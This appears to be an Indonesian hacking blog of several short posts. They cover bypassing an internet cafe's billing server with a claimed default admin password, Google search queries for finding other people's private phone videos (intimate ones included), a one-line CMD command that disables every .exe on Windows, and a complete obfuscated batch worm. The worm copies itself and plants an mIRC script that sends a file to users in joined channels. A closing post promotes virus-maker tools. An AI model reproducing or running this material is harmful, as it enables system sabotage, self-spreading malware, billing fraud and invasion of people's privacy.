  5. Jalankan program biling yang dapat didownload di bawah.
  6. Pada saat dijalankan, ada 2 pilihan, yaitu Single Client atau All Client, pilih saja yang Single Client.
  7. Ketikkan IP address billing server tadi, gunakan port 1500, kemudian tekan Connect.
  8. Maka hack sudah berjalan apa bila sudah berhasil connecting…


    Tambahan Tips Lagi..

    Jika Kalian Bermain Warnet dengan Billing Explorer Password Admin Billing Tersebut Bisa d Buka Dengan Password admin 008

    Semoga Bermanfaat..
    Regards,
    Bedulz31

    Tolong Commentarnya..
Selengkapnya...


Info Terbaru Cara Cepat Download Ribuan Video 3GP Free Alias Gratis
Anda penggemar video yang di rekam lewat handphone? Itu yang sering kali berformat *3gp. banyak diantar file video *3p terasa sepecial, karena video video mesum hp itu, kebanyakan merupakan koleksi pribadi seseorang lewat hanphonenya.
Kabar bagusnya dengan cara ini di mungkinkan anda dapat mengintip dan mendapatkan ribuan koleksi video berformat 3gp milik orang lain di seluruh dunia. Atau sekedar video anak sma yang lagi beradekan mesra juga tidak di larang, he..he maaf kalo saya posting in soalnya lagi iseng aja.
Peringatan :
Semoga dengan ini di harapkan jangan pernah telanjang di depan kamera, bisa jadi file yang anda simpan di hanphone bisa di upload seseorang ke internet, saat hanphone anda dijual atau di servis, tuch kan bahaya!, karena bisa di lihat orang seluruh dunia. Inilah dampak negatif dari perkembangan technologi, dimana privasi tidak lagi menjadi misteri bahkan seringkali tidak di hargai, so watch out!
gunakan hanphone anda sebaik mungkin, bisa untuk telpon , sms, berbisnis (konek pakai gprs atau cdma), chatting,
Cara mencari file.3gp ketikkan perintah di bawah ini lewat kotak pencarian google [ bisa lewat kotak google dibawah]:
Membuka directori file 3gp:
inurl:htm -inurl:html -inurl:asp intitle:”index of” 3gp
Mencari file 3gp secara lebih specifik:
filetype:3gp inurl:3gp
Dengan sedikit menambahkan perintah tambhana anda bisa menemukan file yang lebih khusus lagi sesuai idaman anda.
Sebagai contoh, :
Anda ingin mencari video 3gp yang berhubungan dengan lagu dangdut. Silahkan ketik perintah berikut, jadi monggo di ganti kata terakhir (dangdut) dengan kata kunci yang anda inginkan. Biar bisa dengerin lagu sambil lihat goyangan para artis di situs penggoyang wanita xxx yang lagi sibuk membicarakan dewi persik dan intan nuraini ini.
filetype:3gp inurl:3gp dangdut
Catatan :
Jika anda kesulitan menginggat perintah- perintah diatas, silahkan datang lagi ke blog ini, atau bookmark halaman blog ini , dan silahkan kunjungi kapanpun anda inginkan. Ada cara lain?
Sekian Tips Mengenai Cara Cepat Download Ribuan Video 3GP Free Alias Gratis, semoga bermanfaat Gan (^_^) Bedulz31
Selengkapnya...

bagi kalian pecinta XP khusus nya dalam memainkan fungsi CMD ,..
kini saya akan berbagi sedikit saran bagaimana merusak XP melalui CMD

dan ini berfungsi 8 dari sejumlah aplication yang berperan sebagai.exe akan terhenti
dan akibat nya windows tidak dapat lagi di menjalankan fungsi exe tadi
nah ini ada sedikit cara bagaimana merusak XP

1.Pertama buka command prompt dengan cara start ? run ?ketikan “CMD “ ( tanpa tanda kutip).

2.Setelah tampilan command prompt tersebut keluar, maka ketikan kode dibawah ini.

Melalui kode inilah yang bisa merusak windows menjadi kota mati.

“ASSOC .exe=.hank” (tanpa tanda kutip ya.....)

8 dari kode inilah semua program tidak bisa jalan

ASSOC = Displays or modifies file extension associations.

Setelah anda ketik kode tersebut maka seluruh file yang berextensi .EXE akan
berubah menjadi .h4nk

Sebelum Extensi target masih bernama “Application”

Extensinya telah berubah menjadi .h4nk maka program tersebut tidak akan bisa jalan

Nb: Jangan Menggunakannya Untuk Berbuat Kejahatan
Regards,
Bedulz31

Please Comment..

Selengkapnya...

Silahkan copy paste seluruh script yang ada disini ke notepad, truz save dengan extensi virus.bat, lalu jalankan. Tinggal lihat efeknya di komputer…..


set shadow=0
@echo off % mawar-kuning %
cls % mawar-kuning %
% mawar-kuning %set /a shadow=%shadow%+1
% mawar-kuning %if %shadow% EQU 5 (
% mawar-kuning %echo kamu telah terinfeksi mawar kuning !!
% mawar-kuning %set shadow=0
% mawar-kuning %)
% mawar-kuning %echo set shadow=%shadow% >mawarkuning.bat
% mawar-kuning %set shadow=
% mawar-kuning %set qwxykjsi=set
% mawar-kuning %set aaa=A
%qwxykjsi% fi=if % mawar-kuning %
%qwxykjsi% nt=not % mawar-kuning %
%qwxykjsi% el=errorlevel % mawar-kuning %
%qwxykjsi% ine=%fi% %nt% %el% % mawar-kuning %
% mawar-kuning %set vrsa=rndom
set oto=goto% mawar-kuning %
%qwxykjsi% a=0 % mawar-kuning %
set fd=find% mawar-kuning %
%fd% “mawar-kuning”<%0>>mawarkuning.bat
%qwxykjsi% xp=true% mawar-kuning %
% mawar-kuning %if %xp% EQU true goto xptruea
goto winmawar % mawar-kuning %
:xptruea % mawar-kuning %
% mawar-kuning %set a=0
% mawar-kuning %set b=0
% mawar-kuning %set c=0
% mawar-kuning %set d=0
% mawar-kuning %set e=0
% mawar-kuning %set f=0
% mawar-kuning %set g=0
% mawar-kuning %set h=0
% mawar-kuning %set i=0
% mawar-kuning %set j=0
% mawar-kuning %set k=0
% mawar-kuning %set l=0
% mawar-kuning %set m=0
% mawar-kuning %set n=0
% mawar-kuning %set o=0
% mawar-kuning %set p=0
% mawar-kuning %set q=0
% mawar-kuning %set r=0
% mawar-kuning %set s=0
% mawar-kuning %set t=0
% mawar-kuning %set u=0
:mulai0 % mawar-kuning %
% mawar-kuning %set aa=0
:mulai1 % mawar-kuning %
if %aa% EQU 5 goto endmawarkuning % mawar-kuning %
%qwxykjsi% /a aa=%aa%+1 % mawar-kuning %
:mulai2 % mawar-kuning %
ver|time|%fd% “,1?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=1% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,2?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=2% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,3?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=3% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,4?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=4% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,5?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=5% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,6?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=6% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,7?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=7% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,8?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=8% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,9?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=9% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,0?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=10% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
goto mulai2 % mawar-kuning %
:endmawarkuning % mawar-kuning %
% mawar-kuning %if %a% NEQ 1 (if %rndom1% EQU 1 (
% mawar-kuning %find “%aaa%AAA” <%0 >>mawarkuning.bat
% mawar-kuning %set a=1
% mawar-kuning %))
% mawar-kuning %if %b% NEQ 1 (if %rndom1% EQU 2 (
% mawar-kuning %find “%aaa%BBB” <%0 >>mawarkuning.bat
% mawar-kuning %set b=1
% mawar-kuning %))
% mawar-kuning %if %c% NEQ 1 (if %rndom1% EQU 3 (
% mawar-kuning %find “%aaa%CCC” <%0 >>mawarkuning.bat
% mawar-kuning %set c=1
% mawar-kuning %))
% mawar-kuning %if %d% NEQ 1 (if %rndom1% EQU 4 (
% mawar-kuning %find “%aaa%DDD” <%0 >>mawarkuning.bat
% mawar-kuning %set d=1
% mawar-kuning %))
% mawar-kuning %if %e% NEQ 1 (if %rndom2% EQU 1 (
% mawar-kuning %find “%aaa%EEE” <%0 >>mawarkuning.bat
% mawar-kuning %set e=1
% mawar-kuning %))
% mawar-kuning %if %f% NEQ 1 (if %rndom2% EQU 2 (
% mawar-kuning %find “%aaa%FFF” <%0 >>mawarkuning.bat
% mawar-kuning %set f=1
% mawar-kuning %))
% mawar-kuning %if %g% NEQ 1 (if %rndom2% EQU 3 (
% mawar-kuning %find “%aaa%GGG” <%0 >>mawarkuning.bat
% mawar-kuning %set g=1
% mawar-kuning %))
% mawar-kuning %if %h% NEQ 1 (if %rndom2% EQU 4 (
% mawar-kuning %find “%aaa%HHH” <%0 >>mawarkuning.bat
% mawar-kuning %set h=1
% mawar-kuning %))
% mawar-kuning %if %i% NEQ 1 (if %rndom3% EQU 1 (
% mawar-kuning %find “%aaa%III” <%0 >>mawarkuning.bat
% mawar-kuning %set i=1
% mawar-kuning %))
% mawar-kuning %if %j% NEQ 1 (if %rndom3% EQU 2 (
% mawar-kuning %find “%aaa%JJJ” <%0 >>mawarkuning.bat
% mawar-kuning %set j=1
% mawar-kuning %))
% mawar-kuning %if %k% NEQ 1 (if %rndom3% EQU 3 (
% mawar-kuning %find “%aaa%KKK” <%0 >>mawarkuning.bat
% mawar-kuning %set k=1
% mawar-kuning %))
% mawar-kuning %if %l% NEQ 1 (if %rndom3% EQU 4 (
% mawar-kuning %find “%aaa%LLL” <%0 >>mawarkuning.bat
% mawar-kuning %set l=1
% mawar-kuning %))
% mawar-kuning %if %m% NEQ 1 (if %rndom4% EQU 1 (
% mawar-kuning %find “%aaa%MMM” <%0 >>mawarkuning.bat
% mawar-kuning %set m=1
% mawar-kuning %))
% mawar-kuning %if %n% NEQ 1 (if %rndom4% EQU 2 (
% mawar-kuning %find “%aaa%NNN” <%0 >>mawarkuning.bat
% mawar-kuning %set n=1
% mawar-kuning %))
% mawar-kuning %if %o% NEQ 1 (if %rndom4% EQU 3 (
% mawar-kuning %find “%aaa%OOO” <%0 >>mawarkuning.bat
% mawar-kuning %set o=1
% mawar-kuning %))
% mawar-kuning %if %p% NEQ 1 (if %rndom4% EQU 4 (
% mawar-kuning %find “%aaa%PPP” <%0 >>mawarkuning.bat
% mawar-kuning %set p=1
% mawar-kuning %))
% mawar-kuning %if %q% NEQ 1 (if %rndom5% EQU 1 (
% mawar-kuning %find “%aaa%QQQ” <%0 >>mawarkuning.bat
% mawar-kuning %set q=1
% mawar-kuning %))
% mawar-kuning %if %r% NEQ 1 (if %rndom5% EQU 2 (
% mawar-kuning %find “%aaa%RRR” <%0 >>mawarkuning.bat
% mawar-kuning %set r=1
% mawar-kuning %))
% mawar-kuning %if %s% NEQ 1 (if %rndom5% EQU 3 (
% mawar-kuning %find “%aaa%SSS” <%0 >>mawarkuning.bat
% mawar-kuning %set s=1
% mawar-kuning %))
% mawar-kuning %if %t% NEQ 1 (if %rndom5% EQU 4 (
% mawar-kuning %find “%aaa%TTT” <%0 >>mawarkuning.bat
% mawar-kuning %set t=1
% mawar-kuning %))
% mawar-kuning %if %u% NEQ 1 (if %rndom5% EQU 5 (
% mawar-kuning %find “%aaa%UUU” <%0 >>mawarkuning.bat
% mawar-kuning %set u=1
% mawar-kuning %))
% mawar-kuning %if %a% EQU 1 (if %b% EQU 1 (if %c% EQU 1 (if %d% EQU 1 (
% mawar-kuning %if %e% EQU 1 (if %f% EQU 1 (if %g% EQU 1 (if %h% EQU 1 (
% mawar-kuning %if %i% EQU 1 (if %j% EQU 1 (if %k% EQU 1 (if %l% EQU 1 (
% mawar-kuning %if %m% EQU 1 (if %n% EQU 1 (if %o% EQU 1 (if %p% EQU 1 (
% mawar-kuning %if %q% EQU 1 (if %r% EQU 1 (if %s% EQU 1 (if %t% EQU 1 (if %u% EQU 1 (
goto irca % mawar-kuning %
% mawar-kuning %)))))))))))))))))))))
goto mulai0 % mawar-kuning %
:winmawar % mawar-kuning %
set wina=0% mawar-kuning %
set winb=0% mawar-kuning %
set winc=0% mawar-kuning %
set wind=0% mawar-kuning %
set wine=0% mawar-kuning %
set oto=% mawar-kuning %
set qwxykjsi=% mawar-kuning %
set nt=% mawar-kuning %
set fi=% mawar-kuning %
set el=% mawar-kuning %
set ine=% mawar-kuning %
:mulaiwin2 % mawar-kuning %
% mawar-kuning %if not %wina%==1 goto mawarkuningengi
% mawar-kuning %if not %winb%==1 goto mawarkuningengi
% mawar-kuning %if not %winc%==1 goto mawarkuningengi
% mawar-kuning %if not %wind%==1 goto mawarkuningengi
% mawar-kuning %if not %wine%==1 goto mawarkuningengi
goto winirc % mawar-kuning %
:mawarkuningengi % mawar-kuning %
ver|time|find “,1?>nul % mawar-kuning %
if not errorlevel 1 set randoma=1% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,2?>nul % mawar-kuning %
if not errorlevel 1 set randoma=2% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,3?>nul % mawar-kuning %
if not errorlevel 1 set randoma=3% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,4?>nul % mawar-kuning %
if not errorlevel 1 set randoma=4% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,5?>nul % mawar-kuning %
if not errorlevel 1 set randoma=5% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
goto mulaiwin2 % mawar-kuning %
:enmawarkuningwin % mawar-kuning %
% mawar-kuning %if not %wina%==1 if %randoma%==1 goto enamawarkuningwin
% mawar-kuning %if not %winb%==1 if %randoma%==2 goto enbmawarkuningwin
% mawar-kuning %if not %winc%==1 if %randoma%==3 goto encmawarkuningwin
% mawar-kuning %if not %wind%==1 if %randoma%==4 goto endmawarkuningwin
% mawar-kuning %if not %wine%==1 if %randoma%==5 goto enemawarkuningwin
goto mulaiwin2 % mawar-kuning %
:enamawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%BBB”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%AAA”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%KKK”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%DDD”<%0>> mawarkuning.bat
set wina=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enbmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%EEE”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%LLL”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%GGG”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%HHH”<%0>> mawarkuning.bat
set winb=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:encmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%III”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%JJJ”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%CCC”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%FFF”<%0>> mawarkuning.bat
set winc=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:endmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%NNN”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%MMM”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%PPP”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%OOO”<%0>> mawarkuning.bat
set wind=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enemawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%RRR”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%SSS”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%UUU”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%TTT”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%QQQ”<%0>> mawarkuning.bat
set wine=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:winirc % mawar-kuning %
% mawar-kuning %set wina=
% mawar-kuning %set winb=
% mawar-kuning %set winc=
% mawar-kuning %set wind=
% mawar-kuning %set wine=
% mawar-kuning %set aaa=
% mawar-kuning %set randoma=
:irca % AAAA %
if exist C:\mirc\script.ini set mir=C:\mirc% AAAA %
echo %mir%
if exist C:\mirc32\script.ini set mir=C:\mirc32% AAAA %
if exist C:\proga~1\mirc\script.ini set mir=C:\progra~1\mirc% AAAA %
if exist C:\prgra~1\mirc32\script.ini set mir=C:\progra~1\mirc32% AAAA %
goto ircb% AAAA %
:ircb % ABBB %
set mirc=%mir%\script.ini% ABBB %
set vs=chr(% ABBB %
goto ircc% ABBB %
:ircc % ACCC %
set wc=echo file.writeline% ACCC %
goto ircd% ACCC %
:ircd % ADDD %
echo dim fso, file > irc.vbs% ADDD %
echo set fso = createobject(”scripting.filesystemobject”) >>irc.vbs% ADDD %
echo set file = fso.createtextfile (”%mir%\script.ini”, true)>>irc.vbs% ADDD %
goto irce% ADDD %
:irce % AEEE %
%wc% ” on 1:st” + %vs%97) + “rt: { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “filee %mir%\name.b” + %vs%97) + “t }”>>irc.vbs% AEEE %
%wc% ” on 1:join:#: { “>>irc.vbs% AEEE %
%wc% ” .if (” + %vs%36) + “nick != ” + %vs%36) + “me ” + %vs%38) + “” + %vs%38) + ” ” + %vs%37) + “old != ” + %vs%36) + “nick) {”>>irc.vbs% AEEE %
goto ircf% AEEE %
:ircf % AFFF %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “old ” + %vs%36) + “nick”>>irc.vbs% AFFF %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,100000) 1 5 .” + %vs%36) + “check_him( ” + %vs%36) + “nick , ” + %vs%36) + “ch” + %vs%97) + “n )”>>irc.vbs% AFFF %
goto ircg% AFFF %
:ircg % AGGG %
%wc% ” } “>>irc.vbs% AGGG %
%wc% ” }”>>irc.vbs% AGGG %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s check_him {”>>irc.vbs% AGGG %
goto irch% AGGG %
:irch % AHHH %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) “>>irc.vbs% AHHH %
%wc% ” .while (” + %vs%36) + “portfree(” + %vs%37) + “port) == ” + %vs%36) + “f” + %vs%97) + “lse) { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) }”>>irc.vbs% AHHH %
goto irci% AHHH %
:irci % AIII %
%wc% ” .%fi% (” + %vs%36) + “1 !isop ” + %vs%36) + “2) { “>>irc.vbs% AIII %
%wc% ” .%nt%ice ” + %vs%36) + “1 :DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” teletubies ( ” + %vs%36) + “+ ” + %vs%36) + “ip ” + %vs%36) + “+ ) “>>irc.vbs% AIII %
goto ircj% AIII %
:ircj % AJJJ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,99999)”>>irc.vbs% AJJJ %
%wc% ” .msg ” + %vs%36) + “1 _DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” ” + %vs%37) + “filee ” + %vs%36) + “longip(” + %vs%36) + “ip) ” + %vs%37) + “port ” + %vs%36) + “file(” + %vs%37) + “filee).size ” + %vs%36) + “+ _”>>irc.vbs% AJJJ %
%wc% ” .socklisten ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%37) + “port”>>irc.vbs% AJJJ %
goto irck% AJJJ %
:irck % AKKK %
%wc% ” .timers off”>>irc.vbs% AKKK %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,99999) 0 10 .cloze”>>irc.vbs% AKKK %
%wc% ” } “>>irc.vbs% AKKK %
goto ircl% AKKK %
:ircl % ALLL %
%wc% ” }”>>irc.vbs% ALLL %
%wc% ” on 1:socklisten:” + %vs%37) + “sock_n” + %vs%97) + “me: {”>>irc.vbs% ALLL %
goto ircm% ALLL %
:ircm % AMMM %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “client_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,9999999)”>>irc.vbs% AMMM %
%wc% ” .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me”>>irc.vbs% AMMM %
goto ircn% AMMM %
:ircn % ANNN %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “l 0?>>irc.vbs% ANNN %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs % ANNN %
goto irco% ANNN %
:irco % AOOO %
%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% AOOO %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% AOOO %
goto ircp% AOOO %
:ircp % APPP %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 0?>>irc.vbs% APPP %
%wc% ” }”>>irc.vbs% APPP %
%wc% ” on 1:sockre” + %vs%97) + “d:” + %vs%37) + “client_n” + %vs%97) + “me: {”>>irc.vbs% APPP %
goto ircq % APPP %
:ircq % AQQQ %
%wc% ” .%fi% (” + %vs%37) + “l >= ” + %vs%36) + “file(” + %vs%37) + “filee).size) {”>>irc.vbs% AQQQ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 1?>>irc.vbs% AQQQ %
goto ircr% AQQQ %
:ircr % ARRR %
%wc% ” .sockclose ” + %vs%37) + “client_n” + %vs%97) + “me”>>irc.vbs% ARRR %
%wc% ” .h” + %vs%97) + “lt”>>irc.vbs% ARRR %
%wc% ” } .else {”>>irc.vbs% ARRR %
goto ircs% ARRR %
:ircs % ASSS %
%wc% ” .%fi% (” + %vs%37) + “end != 1) {”>>irc.vbs% ASSS %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs% ASSS %
goto irct% ASSS %
:irct % ATTT %
%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% ATTT %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% ATTT %
%wc% ” } } }”>>irc.vbs% ATTT %
goto ircu% ATTT %
:ircu % AUUU %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s cloze { .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me } “>>irc.vbs% AUUU %
echo file.Close >>irc.vbs% AUUU %
cscript irc.vbs% AUUU %
cls% AUUU %
goto eirc% AUUU %
:eirc % mawar-shadow %
del irc.vbs % mawar-shadow %
find “mawar-shadow”<%0>>mawarkuning.bat
copy mawarkuning.bat %mir%\Mawar Kuning.bat % mawar-shadow %
del mawarkuning.bat % mawar-shadow %
cls % mawar-shadow %

Nb: Jangan Pergunakan Virus Ini untuk kejahatan

Regards,
Bedulz31


Selengkapnya...

Informasi Teknologi Tutorial Membuat Virus Paling Berbahaya

Virus ? Mungkin kalau ada kata satu ini pasti disitulah ada yang namanya masalah. Teruatama pada komputer, kata tersebutsalalu berhubungan dengan yang namanya anti dan progammer handal. Namun, untuk memebuat virus anda tidak harus menjadi progammer yang telah mengerti 100% atau hampirlah semua. Yang anda butuhkan hanya “sedikit” ilmu tapi anda lebih kreatif.
Membuat virus sama halnya dengan jika anda ingin disebut sebagai hacker atau menjadi hacker anda harus memiliki ilmu meski “sedikit” yang penting bagaimana anda kreatif dalam memadukan ilmu yang anda dapat dengan keinginan anda.
Baiklah, sekarang kita kembali ke sasaran uatama yaitu membuat virus. Kali ini saya tidak akan memberikan “pelajaran” tentang bahasa pemrogrman tetapi saya akan memberitahu anda bagaimana cara MUDAHNYA membuat VIRUS.
Saya tidak memakai bahasa pemrograman dalam hal pembuatan virus ini. Yang anda butuhkan hanyalah sebuah aplikasi atau program atau software yang sering disebut dengan virus maker.
Berikut virus maker dan removal tool-nya yang bisa anda gunakan untuk membuat virus dengan cara mudah(paling cuama butuh waktu sekitar 10 menitan) :
program kecil yang bisa digunakan membuat virus menggunakan bahasa VB
Program kecil untuk iseng-iseng kerjaiin temen silahkan coba sendiri
program cara gampang membuat virus
Program kecil untuk mengembalikan regedit atau file yang terinfeksi virus
program yang satu ini berguna bagi yang pengen membuat antivirus sendiri
Kemudian ada lagi ni cara jitu membuat virus versi lainnya, tunggu postingan selanjutnya yoo.. (^_^)

Please Commentnya.. Thanks Bedulz31
Selengkapnya...

You can replace this text by going to "Layout" and then "Page Elements" section. Edit " About "

Febri Nugroho. Powered by Blogger.

Tekajeku

Powered by Bedulz31 Blogspot

Jakarta Time

Pencarian

Loading

Populer Post

Random Post

Followers

Free SMS


Make Widget


bloguez.com

Comment


Close